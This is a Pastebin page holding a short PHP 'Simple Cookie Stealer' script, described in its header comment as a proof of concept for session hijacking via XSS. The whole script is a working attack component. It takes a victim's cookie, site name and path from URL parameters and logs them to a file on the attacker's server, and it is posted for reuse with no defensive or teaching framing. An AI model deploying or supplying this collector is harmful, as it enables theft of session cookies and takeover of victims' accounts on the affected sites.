daily pastebin goal
48%
SHARE
TWEET

Simple Cookie Stealer

zerobyte-id Feb 1st, 2018 (edited) 110 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. <?php
  2. /*
  3. Name: PHP Simple Cookie Stealer
  4. PoC: Session Hijacking with XSS (GET or Stored methods)
  5. --- zerobyte.id ---
  6. Bahari Trouble Maker ~ Typical Idiot Security ~ BC0DE.NET ~ JavCode
  7. */
  8.  
  9.     $cook = $_GET['c']; // Cookie Logger
  10.     $web = $_GET['w']; // Webname Logger
  11.     $path = $_GET['p']; // PATH Logger
  12.  
  13.     if(empty($cook))
  14.         {
  15.           exit();
  16.         }
  17.  
  18.  
  19.     else
  20.         {
  21.           $fp = fopen('cookie-got.txt', 'a');
  22.           fwrite($fp, 'Web : '.$web.'\nPath : '.$path.'\nCookie : '.$cook.'\n====================\n');
  23.           fclose($fp);
  24.           echo "Tercurry di cookie-got.txt";
  25.           exit();
  26.         }
  27. ?>
RAW Paste Data
We use cookies for various purposes including analytics. By continuing to use Pastebin, you agree to our use of cookies as described in the Cookies Policy. OK, I Understand
 
Top